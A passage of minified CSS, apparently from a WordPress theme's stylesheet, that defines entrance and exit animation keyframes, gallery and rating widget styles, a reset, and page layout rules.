bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:none;transform:none}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}@keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp}@-webkit-keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp}@-webkit-keyframes justified-gallery-show-caption-animation{from{opacity:0}to{opacity:.7}}@-moz-keyframes justified-gallery-show-caption-animation{from{opacity:0}to{opacity:.7}}@-o-keyframes justified-gallery-show-caption-animation{from{opacity:0}to{opacity:.7}}@keyframes justified-gallery-show-caption-animation{from{opacity:0}to{opacity:.7}}@-webkit-keyframes justified-gallery-show-entry-animation{from{opacity:0}to{opacity:1}}@-moz-keyframes justified-gallery-show-entry-animation{from{opacity:0}to{opacity:1}}@-o-keyframes justified-gallery-show-entry-animation{from{opacity:0}to{opacity:1}}@keyframes justified-gallery-show-entry-animation{from{opacity:0}to{opacity:1}}.justified-gallery{width:100%;position:relative;overflow:hidden}.justified-gallery>a,.justified-gallery>div{position:absolute;display:inline-block;overflow:hidden;opacity:0}.justified-gallery>a>a>img,.justified-gallery>a>img,.justified-gallery>div>a>img,.justified-gallery>div>img{position:absolute;top:50%;left:50%;margin:0;padding:0;border:0}.justified-gallery>a>.caption,.justified-gallery>div>.caption{display:none;position:absolute;bottom:0;padding:5px;background-color:#000;left:0;right:0;margin:0;color:#fff;font-size:12px;font-weight:300;font-family:sans-serif}.justified-gallery>a>.caption.caption-visible,.justified-gallery>div>.caption.caption-visible{display:initial;opacity:.7;filter:"alpha(opacity=70)";-webkit-animation:justified-gallery-show-caption-animation .5s 0 ease;-moz-animation:justified-gallery-show-caption-animation .5s 0 ease;-ms-animation:justified-gallery-show-caption-animation .5s 0 ease}.justified-gallery>.entry-visible{opacity:1;-webkit-animation:justified-gallery-show-entry-animation .5s 0 ease;-moz-animation:justified-gallery-show-entry-animation .5s 0 ease;-ms-animation:justified-gallery-show-entry-animation .5s 0 ease}.justified-gallery>.jg-filtered{display:none}.justified-gallery>.spinner{position:absolute;bottom:0;margin-left:-24px;padding:10px 0;left:50%;opacity:initial;filter:initial;overflow:initial}.justified-gallery>.spinner>span{display:inline-block;opacity:0;width:8px;height:8px;margin:0 4px;background-color:#000;border-top-left-radius:6px;border-top-right-radius:6px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.jq-ry-container{position:relative;padding:0 5px;line-height:0;display:block;cursor:pointer;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;direction:ltr}.jq-ry-container[readonly=readonly]{cursor:default}.jq-ry-container>.jq-ry-group-wrapper{position:relative;width:100%}.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group{position:relative;line-height:0;z-index:10;white-space:nowrap}.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group>svg{display:inline-block}.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group.jq-ry-normal-group{width:100%}.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group.jq-ry-rated-group{width:0;z-index:11;position:absolute;top:0;left:0;overflow:hidden}*{box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-moz-box-sizing:border-box;outline:0}*,blockquote,body,dd,div,dl,dt,fieldset,form,h1,h2,h3,h4,h5,h6,html,input,label,li,ol,p,pre,td,th,ul{margin:0;padding:0}input{background-color:transparent}table{border-collapse:collapse;border-spacing:0}fieldset,img{border:0}address,caption,cite,code,dfn,strong,th,var{font-style:normal;font-weight:400}li,ol,ul{list-style:none}caption,th{text-align:left}h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:400}q:after,q:before{content:""}strong{font-weight:700}em{font-style:italic}img{max-width:100%;vertical-align:top;height:auto}a img{border:none}iframe{border:none;max-width:none}iframe[name=google_conversion_frame]{height:0;display:block;overflow:hidden}.penci-center{text-align:center}body:not(.penci-fawesome-ver5) .penci-faicon{font-family:FontAwesome;font-weight:400}body:not(.penci-fawesome-ver5) .penci-faicon.fa-vimeo:before{content:"\f27d"}button,input[type=button],input[type=email],input[type=search],input[type=submit],input[type=text],textarea{-webkit-appearance:none;border-radius:0;-webkit-border-radius:0}p:empty:before{content:none}body,html{-webkit-font-smoothing:antialiased}body{font-family:var(--pcbody-font);color:#313131;background-color:#fff;font-size:14px;overflow-x:hidden;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;--pcbg-cl:#fff;--pctext-cl:#313131;--pcborder-cl:#dedede;--pcheading-cl:#313131;--pcmeta-cl:#888888;--pcaccent-cl:#6eb48c;--pcbody-font:"PT Serif",serif;--pchead-font:"Raleway",sans-serif;--pchead-wei:bold;--pchd-mg:60px;--pcctain:1170px;--pcctain2:1400px;--pcajs_tcl:var(--pcheading-cl);--pcajs_thcl:var(--pcaccent-cl);--pcajs_mcl:var(--pcmeta-cl);--pcajs_mhcl:var(--pcmeta-cl);--pcajs_ncl:var(--pctext-cl);--pcajs_bcl:var(--pcborder-cl);--pcajs_bgcl:var(--pcbg-cl);--pcajs_bghcl:#f9f9f9;--pcajs_tfz:13px;--pcajs_mfz:12px;--pcajs_nfz:13px;--pcsnav-w:270px}textarea{min-height:100px}input[type=date],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],select,textarea{font-family:var(--pcbody-font);padding:11px 20px;max-width:100%;width:100%;border:1px solid var(--pcborder-cl);border-radius:0;background-color:transparent;box-shadow:none;color:var(--pctext-cl);vertical-align:middle;font-size:inherit}select{padding:8px 28px 8px 15px;background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNSIgaGVpZ2h0PSIyNSIgZmlsbD0ibm9uZSIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2U9IiNiYmIiPjxwYXRoIGQ9Ik02IDlsNiA2IDYtNiIvPjwvc3ZnPg==);background-position:right 10px top 50%;background-size:auto 18px;background-repeat:no-repeat;-webkit-appearance:none;-moz-appearance:none;appearance:none}input[type=date]:focus,input[type=email]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=url]:focus,select:focus,textarea:focus{outline:0}[type=button],[type=submit],button{font-family:var(--pchead-font);font-weight:var(--pchead-wei);padding:12px 20px;font-size:13px;line-height:1.2;background-color:var(--pcaccent-cl);color:#fff;text-align:center;display:inline-block;outline:0;border:0;border-radius:0;box-shadow:none;text-decoration:none;text-shadow:none;cursor:pointer;text-transform:uppercase}button[disabled],input[disabled]{opacity:.6!important;cursor:default}p{font-size:14px;line-height:28px}.elementor-widget-text-editor p{font-size:inherit;line-height:inherit;text-align:inherit}a{text-decoration:none;color:var(--pcaccent-cl);transition:color .3s;-webkit-transition:color .3s;-moz-transition:color .3s;outline:0;cursor:pointer}h1,h2,h3,h4,h5,h6{font-family:var(--pchead-font);font-style:normal;font-weight:var(--pchead-wei);line-height:1.35}.container{width:var(--pcctain);margin:0 auto}.container.container-1400{max-width:var(--pcctain2);width:100%}.container.container-fullwidth{max-width:100%;width:100%}.pc-wrapbuilder-header-inner .container.container-1400,.penci-header-wrap .container.container-1400{--pcctain:var(--pcctain2)}.pc-wrapbuilder-header-inner .container.container-fullwidth,.penci-header-wrap .container.container-fullwidth{--pcctain:100vw}.penci-page-container-smaller{max-width:900px;margin-left:auto;margin-right:auto;display:block}.container.penci_sidebar:after,.container.penci_sidebar:before{content:"";display:table;clear:both}body:not(.penci-fawesome-ver5) .penci-faicon.fa-facebook-f:before,body:not(.penci-fawesome-ver5) .penci-faicon.fa-facebook:before{content:"\f09a"}#main{width:100%}.container.penci_sidebar #main,.penci-single-style-10 .penci-single-s10-content{width:70.94%;padding-right:50px;float:left}.penci-single-style-20 .penci-single-s20-content{width:55%}.penci-single-style-20 .penci-post-image-wrapper .penci-sidebar-content{width:40%}.penci-single-style-13 .penci-single-s13-content{width:calc(50vw + (100vw - var(--pcctain))/ 2);margin-left:calc((100vw - var(--pcctain))/ -2)}.container.penci_sidebar.left-sidebar #main,.penci-single-style-10.penci_sidebar.left-sidebar .penci-single-s10-content,.penci-single-style-13.penci_sidebar.left-sidebar .penci-single-s13-content,.penci-single-style-20.penci_sidebar.left-sidebar .penci-single-s20-content{float:right;padding:0 0 0 60px}.penci-single-style-20 .header-standard .post-box-meta-single{margin-top:20px}.penci-sidebar-content{width:29.06%;float:right}.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content{width:60%}.penci-single-style-13 .container.two-sidebar .penci-sidebar-content{width:50%}.penci-single-style-13 .post-format-entry-header{display:flex;flex-direction:row-reverse}.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content{align-content:center;position:relative;z-index:4;background:var(--pcaccent-cl)}.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:after,.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before{content:'';position:absolute;bottom:-40px;width:100%;height:40px;left:0;right:0;background:var(--pcaccent-cl);z-index:2}.penci-single-style-13.penci-show-ft-caption .penci-post-image-wrapper .penci-sidebar-content:after{display:block}@media only screen and (max-width:960px){.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:after,.penci-single-style-13.penci-show-ft-caption .penci-post-image-wrapper .penci-sidebar-content:after{display:none}}@media only screen and (min-width:768px){.penci-single-style-13.penci-show-ft-caption .penci-featured-caption{position:absolute;text-align:right;background:0 0;color:var(--pcheading-cl);bottom:-40px}}.penci-single-style-13.penci-show-ft-caption .post-image{overflow:visible}.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before{right:auto;opacity:.5;left:100%;bottom:0;z-index:-1;background:var(--pcbg-cl);opacity:.1}.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content .single-header{position:relative;padding:50px 0 50px 50px}.penci-single-style-13 .penci-container-inside.penci-breadcrumb{position:relative;padding-left:50px}.penci-single-style-13 .penci-container-inside.penci-breadcrumb i,.penci-single-style-13 .penci-container-inside.penci-breadcrumb span,.penci-single-style-13 .penci-container-inside.penci-breadcrumb span a{color:#fff}.penci-single-style-13 .penci-main-sticky-sidebar,.penci-single-style-13 .penci-sidebar-content{margin-top:40px}@media only screen and (min-width:961px){.penci-single-style-10 .penci-post-image-wrapper .container.two-sidebar .penci-sidebar-content{width:29.06%}.penci-single-style-20 .penci-post-image-wrapper .container.two-sidebar .penci-sidebar-content{width:39%}}.penci-sidebar-content-vc{width:100%!important;float:none}.penci_sidebar.left-sidebar .penci-sidebar-content{float:left}.penci-sidebar-content.penci-sticky-sidebar.is-sticky{margin-top:75px}.admin-bar .penci-sidebar-content.penci-sticky-sidebar.is-sticky{margin-top:107px}#penci-end-sidebar-sticky{margin-top:-300px;padding-top:300px}.clear-footer{height:1px;margin-bottom:29px;clear:both;display:block;width:100%}.clearfix{clear:both}.penci-clearfix{clear:both}.penci-clearfix:after,.penci-clearfix:before{content:"";display:table;clear:both}.wrapper-boxed{overflow:hidden}body.penci-body-boxed{background:#f5f5f5;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed}.wrapper-boxed.enable-boxed{background:#fff;max-width:calc(var(--pcctain) + 60px);display:block;overflow:hidden;margin:0 auto;box-shadow:0 5px 8px rgba(0,0,0,.2);-webkit-box-shadow:0 5px 8px rgba(0,0,0,.2);-moz-box-shadow:0 5px 8px rgba(0,0,0,.2)}.wrapper-boxed.enable-boxed .penci_header.penci_builder_sticky_header_desktop{--pmx:calc(var(--pcctain) + 60px);width:100%;max-width:var(--pmx);display:block;margin-left:auto;margin-right:auto}.penci-body-boxed.penci-two-sidebar .wrapper-boxed.enable-boxed{max-width:calc(var(--pcctain2) + 30px)}.penci-body-boxed.penci-two-sidebar .container.penci-breadcrumb,.penci-body-boxed.penci-two-sidebar .container.two-sidebar{width:100%;padding-left:15px;padding-right:15px}.penci-top-bar{background:#313131;height:auto}.penci-top-bar.topbar-1400px,.penci-top-bar.topbar-fullwidth{padding:0 20px}.penci-top-bar.topbar-fullwidth .container{width:100%}.penci-headline{display:block}.penci-headline:after,.penci-headline:before{content:"";display:table;clear:both}.penci-headline .pctopbar-item{display:flex;margin:0 15px;float:left;line-height:32px;color:#fff}.penci-topbar-ctext{font-size:13px}.penci-topbar-ctext *{color:inherit;font-size:inherit}.penci-headline .pctopbar-item:first-child{margin-left:0}.penci-headline .pctopbar-item:last-child{margin-right:0}@media only screen and (min-width:1170px){.penci-headline .pctopbar-item:last-child:not(:first-child){float:right}}.headline-title{height:32px;line-height:32px;padding:0 15px;font-size:12px;color:#fff;background:var(--pcaccent-cl);float:left;text-transform:uppercase;font-family:var(--pchead-font);z-index:10;position:relative;display:inline-block;font-weight:var(--pchead-wei)}.penci-top-bar .penci-owl-carousel:not(.penci-owl-loaded)>div:first-child{height:32px}.penci-owl-carousel.penci-headline-posts .owl-stage-outer{height:32px!important}.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next,.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev{width:16px;height:20px;border:none;background:0 0;display:inline-block;text-align:center;line-height:20px;left:-54px;outline:0;cursor:pointer;position:absolute;color:#999;opacity:1!important;font-size:18px;transition:color .3s;-webkit-transition:color .3s;-moz-transition:color .3s;padding:0;top:50%;margin-top:-10px}.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next{left:-32px}.penci-trending-nav{line-height:32px}.penci-trending-nav a{font-size:16px;line-height:inherit;padding-left:5px;padding-right:5px;cursor:pointer;display:inline-block;vertical-align:top;text-decoration:none!important;color:#999;position:relative}.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next:hover,.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev:hover,.penci-trending-nav a:hover{color:#fff}@keyframes TickerslideOutRight{from{opacity:1}to{opacity:0;transform:translate3d(20px,0,0)}}@keyframes TickerslideInRight{from{opacity:0;transform:translate3d(20px,0,0)}to{opacity:1;transform:none}}.penci-headline-posts 